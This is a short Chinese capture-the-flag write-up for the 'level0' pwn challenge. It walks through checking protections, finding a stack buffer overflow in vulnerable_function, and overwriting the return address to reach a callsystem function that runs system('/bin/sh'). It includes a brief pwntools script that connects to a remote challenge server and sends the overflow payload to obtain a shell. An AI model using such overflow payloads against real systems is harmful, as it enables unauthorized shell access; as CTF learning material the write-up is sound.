攻防世界pwn level0做题思路

攻防世界pwn level0做题思路_第1张图片
先看看题目的各种保护机制
攻防世界pwn level0做题思路_第2张图片
栈不可以执行,我们用IDA打开看看
写进一个hello world的字符串,然后执行vulnerable_function()函数
攻防世界pwn level0做题思路_第3张图片
跟进函数里查看
这里我不是特别理解,writeup上是这样写的
“这是 vulnerable_function 函数,可以在栈上写0x200个字节,或许我们可以进行溢出,覆盖掉返回地址,劫持程序执行流,执行我们想执行的方法。通常我们的目的是去执行 system("/bin/sh")。”
攻防世界pwn level0做题思路_第4张图片
那我们就去找找bin/sh
发现再callsystem里,我们可以把返回地址改成callsystem的地址,从而实现漏洞的利用
攻防世界pwn level0做题思路_第5张图片
攻防世界pwn level0做题思路_第6张图片
不会写脚本,所以我从网上找了一个

from pwn import *
p = remote("111.198.29.45","36136")
call_system = 0x400596
payload = 0x88*'a' + p64(call_system)
p.sendline(payload)
p.interactive()

跑了一遍就发现了flag
攻防世界pwn level0做题思路_第7张图片

你可能感兴趣的:(攻防世界pwn level0做题思路)